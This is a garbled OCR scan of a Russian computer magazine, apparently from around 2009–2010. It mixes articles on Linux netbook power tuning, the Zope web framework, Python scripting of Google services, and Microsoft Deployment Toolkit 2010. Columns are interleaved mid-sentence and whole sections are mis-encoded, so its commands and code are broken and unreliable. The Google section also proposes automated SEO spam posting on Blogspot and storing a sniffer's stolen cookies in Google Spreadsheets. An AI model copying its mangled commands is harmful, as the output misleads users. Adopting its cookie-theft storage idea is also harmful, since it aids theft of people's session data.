Ñåòü 10/100 Ìáèò/ñ Ethernet, мультфильм «Big Buck Bunny» (1280x720, ogg). ливается как обычно:
ПОЕХАЛИ!
При монтировании файловых систем тоже есть
возможность отключить «лишние» фичи, что
положительно скажется на быстродействии и
времени жизни SSD. Например, относительно
безопасно можно отключить запись времени
последнего доступа к файлу (опция монтирова-
ния noatime). При наличии исправной батареи
можно увеличить время между сбросами
буферов на диск (с помощью опции монтиро-
gnome-power-manager. По умолчанию при вания commit) и отключить барьер (barrier=0).
$ sudo apt-get install powertop работе от сети яркость выставляется в 100%. С помощью опции data=writeback можно вклю-
При работе от батареи — на 50% уменьшается. чить самый быстрый режим журналирования
Программу надо запускать с правами root’а, же- Лично мне вполне хватает и 30%, поэтому я (будет вестись журнал только для метаданных).
лательно при отключенном адаптере питания настроил уменьшение яркости при работе от Правда, у меня система отказывалась гру-
(тогда можно будет увидеть текущее энергопот- батареи на 70%: зиться, если этот режим установлен для корня.
ребление и время до полного разряда батареи). Пришлось оставить только для /home. При
Из скриншотов видно, что даже при дефолт- $ gconftool-2 --set /apps/ полностью отключенном журнале система тоже
ных настройках система в состоянии покоя gnome-power-manager/backlight/ грузиться не захотела. В итоге, мой модифици-
потребляет всего 8,3 Вт, а процессор почти 80% brightness_dim_battery --type рованный /etc/fstab стал выглядеть следующим
времени проводит в состоянии C3. string 70 образом:
ВСЕ НЕНУЖНОЕ НА СЛОМ… Splash screen мне тоже не нужен — только съе- $ sudo nano /etc/fstab
Первое, что необходимо сделать — это отклю- дает драгоценные такты, да скрывает полезную UUID=31faf447-f5e3-40bd-9970-
чить все, что в данный момент не используется. информацию. Заодно можно убрать поддержку 16f703ee130b / ext4
То есть убрать ненужные службы, отключить IPv6, если таковая не требуется. Отключение/ noatime,commit=100,barrier=0 0
сетевые интерфейсы, если в них нет необхо- включение splash screen и IPv6 осуществляется 1
димости, отказаться от Compiz (если включен), за счет передачи ядру определенных пара- UUID=baf24048-4209-4c8a-849c-
уменьшить яркость подсветки LCD до мини- метров при загрузке. Дефолтные параметры d54de626846f /home ext4 noa
мально комфортного уровня и т.д. прописаны в файле /etc/default/grub, в строке time,commit=100,barrier=0,data=wri
Проанализировав запускаемые при старте GRUB_CMDLINE_LINUX_DEFAULT. Я убрал из teback 0 2
системы службы, я убрал bluetooth (в нетбуке этой строки параметры quiet и splash, добавил
нет встроенного), cups (ни разу не подключал к параметр ipv6.disable=1. Чтобы эти параметры Процессор Intel Atom, как и большинство
нему принтер), avahi-daemon, saned и atd: применились для всех ядер, установленных в процессоров Intel, поддерживает техноло-
системе, надо дать команду: гию Enhanced Intel Speedstep Technology,
$ cd /etc/rc2.d/ позволяющую изменять частоту процессора
$ sudo rm S25bluetooth S50avahi- $ sudo update-grub в зависимости от нагрузки, что неплохо эко-
daemon S50cups S50saned S89atd номит энергию. Ядро Linux, в свою очередь,
Еще один способ уменьшить потребление энер- поддерживает несколько схем изменения
За управление яркостью подсветки отвечает гии — выгрузить неиспользуемые модули ядра. частоты процессора. Узнать, какие схемы
DVD
dvd
На прилагаемом
к журналу диске ты
найдешь примеры
конфигурационных
файлов и скрипты
для тестирования.
Наглядные результаты
Рожденные
мультимедиа
революцией
Обзор мультимедийных дистрибутивов Linux
В GNU/Linux есть все необходимое для комфортного просмотра и
прослушивания медиаконтента. А чтобы упростить жизнь рядовому
пользователю, энтузиасты собрали ряд готовых решений, позволяю-
щих превратить компьютер в сетевой развлекательный медиа-центр
и/или рабочую станцию для обработки аудио, видео и графических
файлов. Познакомимся с самыми интересными из них.
WEB ×ÅÐÅÇ
ZOPE
 ÏÐÅÄÛÄÓÙÅÌ ÍÎÌÅÐÅ ÆÓÐÍÀËÀ ÁÛË ÑÄÅËÀÍ ÎÁÇÎÐ ÑÀÌÛÕ
ÏÎÏÓËßÐÍÛÕ ÏÈÒÎÍÎÂÑÊÈÕ WEB-ÔÐÅÉÌÂÎÐÊÎÂ. ÏÐÎÄÎËÆÀß ÒÅÌÓ,
ÑÅÃÎÄÍß ÌÛ ÏÎÄÐÎÁÍÎ ÐÀÑÑÌÎÒÐÈÌ ÎÄÈÍ ÈÇ ÍÈÕ, À ÈÌÅÍÍÎ —
ÎÁÇÎÐ ÏÈÒÎÍÎÂÑÊÎÃÎ
WEB-ÔÐÅÉÌÂÎÐÊÀ
ZOPE
ZOPE.
ZOPE2 хождения этого этапа работать с Zope снова заданной функциональностью, которая описы-
В 1998 году сотруднику компании Digital становится легче. вается с помощью интерфейсов.
Creations, Python-специалисту, Джиму Фултону • Каждый компонент можно заменить на любой
было предложено прочитать лекцию по CGI ZOPE3 другой с таким же интерфейсом (можно про-
(стандарт интерфейса, используемого для Проект Zope3 начался в 2001 году, когда Zope вести аналогию с моделью провайдеров в ASP.
связи внешней программы с веб-сервером — в Corporation экспериментировала с компонент- NET). Таким образом, компоненты выполняют
то время был стандартом для Питона в вебе). ной архитектурой. Главной целью было разбие- один и тот же функционал, но разными спосо-
Согласно легенде, он ничего о CGI не знал, и ние объектов Zope2, которые сильно разраста- бами. А программист выбирает из них наиболее
его начальнику, пока они летели в самолете, лись в объеме, на более мелкие — компоненты. подходящий.
пришлось рассказать ему основы CGI. С этой Другой целью стало сглаживание кривой • Данные также представляются в виде объ-
лекцией Фултон и выступил на конферен- обучения: Zope2 был слишком сложным, чтобы ектов, которые хранятся в ZOBD (Zope Object
ции. Говорят, что протокол ужаснул его своей внедрить в него компонентную архитектуру. Database).
чрезмерной простотой, и он решил создать Поэтому приняли решение полностью его пере- • Мощный механизм HTML/XML-шаблонов.
что-нибудь объектно-ориентированное. Так писать, включив в новый проект компонентную • Широкие возможности для тестирования.
началась история Zope. Вскоре компания архитектуру и все сильные стороны Zope2. Так • Многие из фишек Zope можно использовать
Digital Creations переименовалась в Zope появился Zope3, образовав две ветки про- и вне его.
Corporation и начала выпускать свой продукт дуктов Zope, которые не обладали обратной
под собственной Open Source лицензией ZPL. совместимостью. КОМПОНЕНТ КОНТЕНТА
Деньги же они зарабатывают за счет создания Однако было уже написано слишком много Zope-приложение состоит из компонентов.
сайтов и консультаций. В 2000 году в ее состав кода под Zope2, чтобы забросить эту ветку. В Один из типов компонентов — это компонент
вошли создатели языка Python, которых воз- результате, обе ветки разрабатываются па- контента. Он предназначен для хранения
главлял Гвидо ван Россум (правда, сам Гвидо раллельно (на сентябрь 2009 года последними данных. Отвечает за хранение и апдейт, но не
пробыл в Zope Corporation только до 2003 года, стабильными версиями являлись 3.4.0 и 2.11.3). за представление данных или их обработку.
после чего уволился и сейчас благополучно Нововведения в Zope3 слишком заманчивы, С его помощью данные отделяются от логики
работает в Google). Zope2 приобрел большую чтобы их игнорировать. Поэтому был запущен и представления. Но также есть возможность
популярность благодаря своим особенностям. проект Five, который позволял использовать хранить данные прежним способом, например
Во-первых, данные представлялись в виде некоторые технологии Zope3 в Zope2. Five был в реляционной базе данных. В этом случае Zope
объектов (что было нетипично для веба), а интегрирован в Zope2, начиная с версии 2.8. предоставляет механизм ORM, с помощью ко-
во-вторых, появилась возможность настраи- С каждой новой версией в Zope2 становится торого происходит конвертация реляционных
вать компоненты напрямую через браузер. возможным использовать все больше и больше данных в объекты и наоборот.
Для написания простого приложения стало фишек Zope3.
требоваться гораздо меньше знаний и сил. Но Далее я буду рассматривать именно Zope3. АДАПТЕРЫ И УТИЛИТЫ
переход к большим серьезным проектам уже Адаптер — это объект, который служит своего
был не так-то прост. Появился даже термин ОСНОВНЫЕ КОНЦЕПЦИИ рода «переходником» между двумя другими
«Z-образная кривая обучения», который В основе многих особенностей Zope лежит его объектами, которые из-за разных интерфейсов
означает, что поначалу Zope сильно облегчает объектно-ориентированность: не могут взаимодействовать напрямую. По
жизнь, но затем требует больших усилий для • Zope-приложение представляет собой сути, адаптер превращает вызовы внешнего
понимания модели разработки. После про- коллекцию компонентов — объектов, с четко объекта в вызовы методов внутреннего.
КОНФИГИ
Все компоненты регистрируются в специальном реестре компонентов.
Кроме информации о зарегистрированных компонентах, там также хра-
нятся настройки приложения — конфиги. Для регистрации используется
специальный XML-подобный язык разметки ZCML (Zope Configuration
Markup Language). Файл конфигурации имеет имя и расширение
configure.zcml и располагается в папке проекта. Для включения проекта
в состав действующих доступных пакетов Zope необходимо дополни-
тельно в папку etc\package-includes\ экземпляра сервера поместить
файл с именем my_project_name-configure.zcml, содержащий строку
<include package=«my_project_name»/>.
DTML
Document Template Markup Language (DTML) — средство создания
страничных шаблонов, которые поддерживают динамический контент.
Он основан на тегах и скриптовом языке, и используется на стороне
сервера (в отличие от JavaScript, который работает на стороне клиента).
DTML-теги поддерживают два формата: Extended Python format strings
СТРУКТУРА ZOPE-ПРИЛОЖЕНИЯ
(EPFS) и HTML. Формат EPFS основан на заключении питоновских строк
текста в круглые скобки для задания границ блоков кода. Дополни- — блочный тег title будет оставлен, но его содержимое «The Title» будет
тельный параметр форматирования позволяет указать детали преоб- заменено значением атрибута «template/title». Кроме того, существует
разования данных; например: %(date fmt=DayOfWeek upper)s позволяет много других полезных операторов (например, repeat, для циклов, или
преобразовать дату как день недели заглавными буквами. Формат HTML condition, для проверки условий).
использует синтаксис HTML на стороне сервера для кодирования команд
вставки текстов в формируемый документ. Как и HTML-теги, тег DTML ИНТЕРФЕЙСЫ
может содержать список атрибутов с присвоением значений (имя атри- Интерфейс в Zope выполняет такие же функции, что и интерфейсы Java
бута можно не указывать). Для примера, получим информацию о текущем или C#. Интерфейс определяется как питоновский класс, наследуемый
запросе клиента с помощью объекта REQUEST. Для этого необходимо от специального класса Interface. Предположим, что нам надо создать
создать страницу DTML следующего вида: проект книги рецептов. Вот как будет выглядеть интерфейс для получе-
ния информации о рецепте:
<html>
<body> from zope.interface import Interface
<dtml-var REQUEST html_quote> class IRecipeInfo(Interface):
</body> """Give information about a recipe."""
</html> def getName():
"""Return the name of the dish."""
ZPT def getIngredients():
DTML-страницы имеют ряд недостатков, главный из которых то, что они """Return a list of ingredients."""
не предназначены для дизайнеров, работающих с HTML. Как только на
HTML-странице появляется код DTML, результат обычно становится Интерфейсы, как и классы, поддерживают наследование. Если требуется
непригодным для редакторов и браузеров. В DTML не совсем удачно раз- изменять содержимое рецепта, можно определить следующий интер-
делены представление информации, логика формирования документа и фейс, который будет включать методы интерфейса IRecipeInfo:
контент, из которого документ формируется. Это может затруднить масшта-
бирование содержимого и разработку самого сайта. Наконец, модель про- class IRecipe(IRecipeInfo):
странства имен в DTML имеет слишком много скрытых нюансов при работе """Give and store recipe’s information."""
с объектами и не допускает полного программного управления поиском. def setName(name):
По прогнозам авторов Zope3, язык DTML лишен в будущем перспектив и """Set the name of the dish."""
будет удален. Подходящей альтернативой являются страничные шаблоны def setIngredients(ingredients):
ZPT (Zope Page Template), при работе с которыми приходится иметь дело с """Set the recipe’s ingredients."""
языком TAL — расширением языка HTML/XML. Отличие от XML в том, что
атрибут тега начинается с ключевого слова tal и отделяется от имени опе- Если компонент хочет реализовать определенный интерфейс, надо исполь-
ратора двоеточием. Значение атрибута заключается в кавычки. Включе- зовать такой синтаксис (возможна реализация нескольких интерфейсов):
ние текста может производиться двумя способами: заменой тега и заменой
содержимого тега. Замена тега на значение производится оператором from zope.interface import implements
tal:replace = выражение. Если необходимо включить текст внутри тега, но from worldcookery.interfaces import IRecipeInfo
оставить сам тег, то используется оператор tal:content = выражение. На- class RecipeInfo(object): implements(IRecipeInfo)
пример, во фрагменте: def __init__(self, name=u'', ingredients=[]):
self.name = name
<head> self.ingredients = ingredients
<title tal:content="template/title"> def getName(self):
The Title return self.name
</title> def getIngredients(self):
</head> return self.ingredients
категории объектов — простые объекты и контейнеры. Ниже располо- <include package="helloworld" />
жены другие блоки, включая меню «Добавить». Остальную часть экрана </configure>
занимает рабочая область, в которой производятся различные операции
над объектами. 5. Последний шаг — написание конфига configure.zcml, который нужно
разместить в директории только что созданного пакета lib/python/
HELLO, WORLD! helloworld. Этот конфиг регистрирует представление страницы с именем
В качестве демонстрационного примера напишем страницу, которая вы- helloworld и открытыми правами доступа, использующей объявленный
водит надпись «Hello, world!». нами класс HelloView:
1. Создаем директорию для пакета: /lib/python/helloworld.
2. В ней создаем пустой файл __init__.py (чтобы Питон трактовал ее как <configure
пакет). xmlns="http://namespaces.zope.org/browser">
3. Тут же создай файл browser.py со следующим содержимым: <page
for="*"
from zope.publisher.browser import BrowserView name="helloworld"
class HelloView(BrowserView): permission="zope.Public"
def __call__(self): class=".browser.HelloView"
return """ />
<html> </configure>
<head>
<title>Hello World</title> 6. Запускаем сервер и переходим по адресу http://localhost:8080/
</head> helloworld. Должна загрузиться страница с надписью «Hello, world!».
<body>
Hello, world! ЗАКЛЮЧЕНИЕ
</body> Zope — очень солидный фреймворк, и в рамках одной статьи трудно
</html>""" упомянуть все его возможности, не говоря о том, чтобы рассмотреть
их подробно. Хочешь больше? Советую посетить ресурсы, указанные
4. Регистрируем пакет helloworld. Для этого в директории etc/package- на полях. Там можно найти пару неплохих статей для начинающих.
includes создадим файл hellow orld-configure.zcml, содержащий строки: Для серьезного изучения я рекомендую книгу Суханова «Введение в
Zope3». При небольшом объеме в ней рассматриваются все основные
<configure концепции. Книгу можно найти на диске z в разделе «Литература».
xmlns="http://namespaces.zope.org/zope"> Удачи! z
GOOGLO
ñåðâèñû äëÿ õàêåðà
ÎÂËÀÄÅÂÀÅÌ ÑÅÐÂÈÑÀÌÈ ÌÅÃÀÊÎÐÏÎÐÀÖÈÈ
Ñ ÏÎÌÎÙÜÞ PYTHON’A
query.feed = '/feeds/default/blogs'
SEO & BLOGSPOT feed = blogger_service.Get(query.ToUri())
Перед началом работы с Google слегка подготовимся, установив blog_id = feed.entry[0].GetSelfLink().href.
библиотеки GData и ElementTree (ищи их на диске). Установил? split("/")[-1]
Отлично, подготовительный этап пройден. Самое время поставить
перед собой первую задачу — помочь СЕОшникам с их сателлитами, Этим кодом в переменную blog_id мы сохранили нужный идентифи-
в качестве которых можно использовать гугловский блогохостинг катор. Хотя стоп, не очень-то все это эффективно. Зачем каждый раз
Blogspot. Зайдем на него (http://blogspot.com) и создадим блог, к узнавать айдишник, если он не меняется?
примеру, http://super-puper-hacker.blogspot.com. А теперь напишем Как вариант, можно зайти на блог, нажать на кнопку «добавить новый
код для автоматического постинга. Во-первых, авторизируемся на пост» и, в результате, в браузере появится приблизительно такой
blogspot’е, инициализируя объект blogger_service: текст: www.blogger.com/post-create.g?blogID=3344789329453358925.
Последние цифры этого текста являются идентификатором блога. А
from gdata import service далее мы напишем так:
import gdata, atom
blog_id = 3344789329453358925
blogger_service =
service.GDataService('login@gmail.com','pass') Теперь создадим наш пост как объект gdata.GDataEntry, в котором
blogger_service.source = '][akep' установим свойства title и content и запостим его на блог методом
blogger_service.service = 'blogger' blogger_service.Post:
blogger_service.account_type = 'GOOGLE'
blogger_service.server = 'www.blogger.com' title = "TITLE"
blogger_service.ProgrammaticLogin() text = "TEXT"
Но у нашего аккаунта может быть несколько блогов, которые опо- entry = gdata.GDataEntry()
знаются специальным идентификатором. Попробуем получить id
первого блога: entry.title = atom.Title('xhtml', title)
entry.content = atom.Content(content_type='html',
query = service.Query() text=text)
ТАБЛИЦЫ
А где твои скрипты хранят свои данные? На хостинге?
А если его завтра закроют? Давай найдем ему за-
мену в виде Spreadsheets — гуглотаблиц. Для этого
зайди на http://spreadsheets.google.com, создай
новую таблицу и обязательно посмотри на ее код.
Например, для URL http://spreadsheets.google.com/
ccc?key=tLqt8Y4YaQyqe8DrRBcxS-g&hl=en кодом будет
tLqt8Y4YaQyqe8DrRBcxS-g. Идентификатор нужен для
того, чтобы знать, с какой таблицей работать. Далее в
первой строчке мы установим название столбцов. Если
это снифер, то их можно назвать ip, user-agent, cookie
или что-нибудь в этом роде. Для демонстрации я назвал
столбы first и second. Теперь, после кода авторизации на
GOOGLE CALENDAR гугле, мы сформируем исходные данные:
key = 'tLqt8Y4YaQyqe8DrRBcxS-g'
wksht_id = '1'
Теперь перейдем к программе, где сначала нужно авто-
ризироваться: data = {
'first': 'first data',
calendar_service = gdata.calendar.service. 'second': 'second, some text'
HTTP://WWW CalendarService() }
calendar_service.email = 'spirt40@gmail.
links com' Здесь в начале идет код самой таблицы, а далее — иден-
• Сайт библиоте- calendar_service.password = 'ìîé ïàðîëü' тификатор листа и массив, где в качестве индекса эле-
ки Beautiful Soup: calendar_service.source = '][akep' ментов присутствует название колонок в таблице. Теперь
http://crummy. calendar_service.ProgrammaticLogin() все это хозяйство можно будет сохранить в базе:
com/software/
BeautifulSoup. Далее добавляем событие: gd_client.InsertRow(data, key, wksht_id)
Сетевая
рассада
Microsoft Deployment Toolkit 2010: решение для организации
простого развертывания Windows-систем и приложений
ЗНАКОМИМСЯ С MDT MDT âûðîñ èç íàáîðà ãëàâíîå — íàëè÷èå â ñèñòåìå MDT è ñîîòâåòñò- òè ïðèëîæåíèé ñ ÎÑ Windows;
Business Desktop Deployment, ïðèçâàííîãî ìàê- âóþùèõ ïðàâ íà ñåòåâûå ðåñóðñû. Äëÿ óïðîùå- • Microsoft Assessment and Planning Toolkit
ñèìàëüíî îáëåã÷èòü ðàçâåðòûâàíèå áîëüøîãî íèÿ íàñòðîåê èñïîëüçóþòñÿ ïðîôèëè è (MAP) – èñïîëüçóåòñÿ äëÿ îïðåäåëåíèÿ ñîñòàâà
÷èñëà êëèåíòñêèõ ÎÑ. Ïåðâûå âåðñèè BDD èåðàðõè÷åñêèå ýëåìåíòû. Ïîääåðæêà êîìïüþòåðà è âûäà÷è ðåêîìåíäàöèé ïî
ñïðàâëÿëèñü òîëüêî ñ óñòàíîâêîé WinXP, â BDD PowerShell ïîçâîëÿåò àâòîìàòèçèðîâàòü ìíî- âîçìîæíîñòè ïðîâåäåíèÿ àïãðåéäà íà íîâóþ
2007 ðàçðàáîò÷èêè äîáàâèëè ïîääåðæêó Vista ãèå çàäà÷è ïðè ïîìîùè ñêðèïòîâ. Âàæíî òàêæå âåðñèþ Windows.
è Office 2007. ×åðåç ãîä BDD ïîëó÷èë íîâûå îòìåòèòü, ÷òî MDT 2010 ìîæåò îáíîâëÿòü Ôàéëû äëÿ ðàçâåðòûâàíèÿ òåïåðü ìîæíî
âîçìîæíîñòè (èç îñíîâíûõ îòìå÷ó òîëüêî ñèñòåìû, èñïîëüçóþùèå BitLocker, áåç ðàñøèô- õðàíèòü íå òîëüêî íà ëîêàëüíîì äèñêå èëè
èíòåãðàöèþ ñ WDS è SCCM 2007) è ñìåíèë ðîâêè æåñòêîãî äèñêà, ÷òî ïîçâîëÿåò çàùèòèòü ñåòåâîì êàòàëîãå, íî è çàäåéñòâîâàòü âîçìîæ-
èìÿ íà MDT 2008. Ñ ïîÿâëåíèåì íîâûõ âåðñèé êîíôèäåíöèàëüíóþ èíôîðìàöèþ è ïàðîëè. íîñòè ðàñïðåäåëåííîé ôàéëîâîé ñèñòåìû DFS
Windows ñâåò óâèäåë MDT 2008 Update 1 è, íà- Íîâàÿ âåðñèÿ òðåáóåò áîåêîìïëåêò «WAIK 2.0 äëÿ (Distributed File System, ïîäðîáíåå ñìîòðè â
êîíåö, â ñåíòÿáðå 2009 ãîäà âûøåë ðåëèç MDT Windows 7», ïîçâîëÿþùèé ïðîâîäèòü ïîäãî- z_12_2007). Äëÿ íàñòðîåê çàãðóç÷èêà MDT
2010, îáåñïå÷èâàþùèé óñòàíîâêó (îáíîâëå- òîâêó è àâòîìàòèçèðîâàííîå ðàçâåðòûâàíèå 2010 îáðàùàåòñÿ ê óòèëèòå BCDEdit (â MDT
íèå) WinXPSP3, Vista SP1, Win2k3R2, Win7 è Win2k8R2 è Win7. Â íåãî óæå âñòðîåíû WinPE 3.0 2008 Update 1 — BitLocker Drive Preparation
Win2k8/R2 (2k3 òîëüêî äëÿ x86), ïðèëîæåíèé è Windows User State Migration Toolkit 4.0 (USMT, Tool, BdeHdCfg.exe). Ïðè ðàáîòå ñ äèñêàìè
Office 2007 è SQL Server 2008. Èíñòðóìåíòû îáåñïå÷èâàåò ïåðåìåùåíèå ïîëüçîâàòåëüñêîãî òóëêèò èñïîëüçóåò ðåêîìåíäóåìóþ äëÿ Win7
MDT ïîçâîëÿþò óïðàâëÿòü äðàéâåðàìè, îáíîâ- ïðîôèëÿ è äàííûõ âî âðåìÿ ïåðåõîäà íà äðóãóþ ñõåìó ðàçáèåíèÿ, òî åñòü ñîçäàåò äâà ðàçäåëà,
ëåíèÿìè, ÿçûêîâûìè ïàêåòàìè, óïàêîâûâàòü ÎÑ), ïîýòîìó îòäåëüíî èõ ñêà÷èâàòü íå íóæíî. ÷òî ïîçâîëÿåò â äàëüíåéøåì àêòèâèðîâàòü
è óñòàíàâëèâàòü, â ïðèíöèïå, ëþáûå ïðèëîæå- Òàêæå â ñîñòàâ WAIK è íîâûõ ÎÑ (Win2k8R2, BitLocker áåç ëèøíèõ òåëîäâèæåíèé. Ðåçóëü-
íèÿ. Äëÿ óïðàâëåíèÿ íàñòðîéêàìè MS Office Seven) âõîäèò íîâûé èíñòðóìåíò DISM òàòîì ðàáîòû MDT 2010 ÿâëÿåòñÿ ñîçäàíèå
â MDT 2010 âêëþ÷åí Office Customization Tool (Deployment Image Servicing and Management), ãîòîâûõ çàãðóçî÷íûõ îáðàçîâ â ôîðìàòàõ WIM
(OCT), ïðè ïîìîùè êîòîðîãî ñîçäàåòñÿ MSP- óìåþùèé ðàáîòàòü ñ îáðàçàìè WIM (Windows èëè ISO.
ôàéë íàñòðîåê, èñïîëüçóåìûé ïðè óñòàíîâêå Imaging Format) è WinPE, çàìåíÿÿ ìíîæåñòâî MDT 2010, êàê è ïðåäûäóùèå âåðñèè, ïîääåð-
èëè îáíîâëåíèè Office 2007 ñ çàäàííûìè óòèëèò èç ïðåäûäóùèõ âåðñèé Windows AIK — æèâàåò äâà âàðèàíòà óñòàíîâêè:
ïàðàìåòðàìè. Îñòàëüíûå ïðèëîæåíèÿ ìîæíî Package Manager (Pkgmgr.exe), International • Light Touch Installation (LTI) — ïîçâîëÿåò
íàñòðàèâàòü, çàäàâàÿ êëþ÷è êîìàíäíîé Settings Configuration Tool (intlcfg.exe) è Windows ðàçâåðíóòü ÎÑ èç îáùåé ïàïêè èëè äðóãîãî
ñòðîêè. Preinstallation Environment (PEimg.exe). Êðîìå õðàíèëèùà (DVD-äèñê, ôëýøêà è ò.ï.), áåç çà-
 MDT 2010 óëó÷øåíà ïðîèçâîäèòåëüíîñòü, òîãî, MDT 2010 ìîæåò ñîâìåñòíî ðàáîòàòü ñ: äåéñòâîâàíèÿ äîïîëíèòåëüíûõ èíñòðóìåíòîâ;
îïòèìèçèðîâàíà ìîäåëü óïðàâëåíèÿ, òåïåðü • Application Compatibility Toolkit (ACT) – • Zero Touch Installation (ZTI) — ðàçâåðòûâàíèå
ìîæíî ðóêîâîäèòü óñòàíîâêîé ñ ëþáîãî ìåñòà, èñïîëüçóåòñÿ äëÿ ïðîâåðêè ñîâìåñòèìîñ- ïðîèçâîäèòñÿ ñ èñïîëüçîâàíèåì âîçìîæíîñ-
òåé SCCM 2007 (SMS 2003 óæå íå ïîääåðæèâàåòñÿ MDT 2010). Ïðè íàëè÷èè âñåõ ñîñòàâëÿþùèõ ïðîöåññ óñòàíîâêè MDT íå âûãëÿäèò
LTI èäåàëüíî ïîäõîäèò äëÿ íåáîëüøèõ è ñðåäíèõ îðãàíèçàöèé, â ñëîæíûì è íå äîëæåí âûçâàòü ïðîáëåì. Ïðîñòî ñëåäóåì óêàçàíèÿì
êîòîðûõ íóæíî áûñòðî ðàçâåðíóòü áîëüøîå êîëè÷åñòâî ÎÑ. Óñòàíîâêà ìàñòåðà, ïîäòâåðæäàÿ óñòàíîâêè. Ïîñëå ýòîãî óñòàíàâëèâàåì WAIK
ñèñòåì ìîæåò ïðîèçâîäèòüñÿ âðó÷íóþ, òî åñòü ïîòðåáóåòñÿ çàãðóçêà (ïîäðîáíî ïðîöåññ îïèñàí â ñòàòüå «Ñàìîñáîðíûå îêíà» â z_01_2009),
ñ çàïèñàííîãî íà äèñê ISO-îáðàçà, ñãåíåðèðîâàííîãî MDT 2010. Ïðè ïî õîäó èíñòàëëÿöèè óñòàíîâùèê ïðîâåðèò íàëè÷èå MSXML 6.0 (îí
íàëè÷èè ñëóæáû ðàçâåðòûâàíèÿ WDS âîçìîæíà àâòîìàòè÷åñêàÿ åñòü íà äèñêå WAIK). Âñå, ïåðâûé ýòàï ïîçàäè, íàñòàëî âðåìÿ çàïóñêàòü
óñòàíîâêà ñèñòåì (î íàñòðîéêå Windows Deployment Services ÷èòàé â Deployment Workbench èç ìåíþ «Ïóñê».
z_06_2007). Âñå íîâèíêè, ïîÿâèâøèåñÿ â MDT 2010, êàê ðàç è îòíîñÿò-
 Win2k8R2 âñå ýòè êîìïîíåíòû, êðîìå WAIK, óæå èìåþòñÿ, â äðóãèõ  MDT 2008 Update 1 è 2010 Beta1 âêëàäîê áûëî ÷åòûðå (+Task
âåðñèÿõ ÎÑ íåêîòîðûå èç íèõ ïðèäåòñÿ äîóñòàíîâèòü. Åñëè èñïîëüçóåò- Sequences, +Deploy), à ñàì ïðîöåññ ðàáîòû âûãëÿäåë íåñêîëüêî ñëîæíåå
ñÿ ZTI -óñòàíîâêà, òî âîçìîæíà ðàáîòà è ñ ðàííåé âåðñèåé WAIK 1.0, LTI è çàïóòàíåå. Íåîáõîäèìî áûëî ñîçäàâàòü äèñòðèáóòèâíûå ðåñóðñû,
òðåáóåò èñêëþ÷èòåëüíî WAIK 2.0. çàòåì â äðóãîì ìåíþ — òî÷êè óñòàíîâêè, òåïåðü ýòè ôóíêöèè íàõîäÿò-
Ñïèñîê ÎÑ, íà êîòîðûõ ìîæíî óñòàíîâèòü MDT 2010, âêëþ÷àåò âñå ñÿ â îäíîì ìåñòå — Deployment Shares, ÷òî ñäåëàëî ïðîöåññ ïîäãîòîâêè
x86/x64-âåðñèè îò WinXPSP3 äî Win2k8R2, çà èñêëþ÷åíèåì âàðèàíòîâ áîëåå ïðîñòûì è ïîíÿòíûì.
Home, ñåðâåðíûå — òîëüêî Standard èëè Enterprise. Ïåðåä íà÷àëîì ðàáîòû îòêðûâàåì «Components», îòìå÷àåì íóæíûå
Âî âðåìÿ óñòàíîâêè áóäóò óäàëåíû ïðåäûäóùèå âåðñèè MDT è BDD. Ïå- êîìïîíåíòû â ãðóïïå «Available for Download» è íàæèìàåì ïîÿâèâøóþ-
ðåä èíñòàëëÿöèåé Microsoft ðåêîìåíäóåò ñîçäàòü ðåçåðâíóþ êîïèþ ñåð- ñÿ âíèçó ñòðàíèöû êíîïêó «Download».
âåðà, íà êîòîðûé ïðîèçâîäèòñÿ óñòàíîâêà MDT 2010. Ïðàâäà, íå ñîâñåì Íåîáÿçàòåëüíî äîæèäàòüñÿ çàãðóçêè êîìïîíåíòà, ìîæíî óêàçàòü âñå íåîá-
ïîíÿòíî çà÷åì, âåäü ñóùåñòâåííûõ èçìåíåíèé â ñèñòåìå íå ïðîèñõîäèò. õîäèìûå è èäòè ïèòü êîôå. MDT ìåòîäè÷íî ñêà÷àåò âñå, ÷òî áûëî óêàçàíî.
МАСТЕР ИМПОРТА OC
Çàòåì ïîâòîðíî îòìå÷àåì êîìïîíåíò, íî òåïåðü ïîÿâëÿ- new-PSDrive -Name "DS001" -PSProvider
þòñÿ äâå êíîïêè «Install» è «Browse» (ôàéëû ñêà÷èâàþòñÿ â "MDTProvider" -Root "f:\DeploymentShare$"
ïîäêàòàëîãè «C:\Program Files\Microsoft Deployment Toolkit\ -Description "MDT Deployment Share"
INFO Components»). Ïîñëåäîâàòåëüíî íàæèìàÿ «Install», ñòàâèì -NetworkPath "\\SERVER\DeploymentShare$"
âñå ñëèòîå. Òåïåðü ðàáî÷àÿ ñðåäà ïîëíîñòüþ ïîäãîòîâëåíà. -Verbose | add-MDTPersistentDrive -Verbose
СОЗДАНИЕ РЕСУРСА УСТАНОВКИ Äàëüíåéøèé ïðîöåññ  äàëüíåéøåì ìîæíî ñîõðàíèòü ïîëó÷èâøèéñÿ ôàéë
info âûãëÿäèò ñëåäóþùèì îáðàçîì — ñîçäàåì, íàñòðàèâàåì è NewDS.ps1 è èñïîëüçîâàòü ïðè ñîçäàíèè äðóãèõ ðåñóðñîâ
• WAIK (Windows çàïîëíÿåì ðåñóðñ óñòàíîâêè, óêàçûâàåì ïîñëåäîâàòåëü- óñòàíîâêè.
Automated íîñòè çàäà÷, âûïîëíÿåì îáíîâëåíèå óñòàíîâî÷íîãî ðåñóð-
Installation Kit) — ñà è, íàêîíåö, ñòàâèì ñèñòåìû. Òåïåðü îáî âñåì ïî ïîðÿäêó. НАСТРОЙКА РЕСУРСА УСТАНОВКИ Íîâûé ðåñóðñ ïîÿâëÿ-
комплекс средств, Âûáèðàåì â êîíñîëè «Deployment Shares» è çàòåì â îêíå åòñÿ â «Deployment Shares»; ùåëêíóâ ïî çíàêó «+», ìîæíî
позволяющих прово- «Äåéñòâèÿ» èëè â êîíòåêñòíîì ìåíþ ññûëêó äëÿ ñîçäàíèÿ ðàçâåðíóòü è ïðîñìîòðåòü åãî ñòðóêòóðó, íàçâàíèÿ ïîäêà-
дить подготовку íîâîãî ðåñóðñà óñòàíîâêè — «New Deployment Share». òàëîãîâ (Applications, Operating Systems, Out-of-Box Drivers,
и автоматизирован- Ïîÿâëÿåòñÿ ìàñòåð ñîçäàíèÿ íîâîãî ðåñóðñà, â ïåðâîì Packages, Task Sequenses, Advanced Configuration) ñîîòâåòñ-
ное развертывание îêíå óêàçûâàåì ïóòü ê êàòàëîãó, êîòîðûé áóäåò âûñòó- òâóþò ñâîåìó íàçíà÷åíèþ. Åñëè îòêðûòü â «Ïðîâîäíèêå»
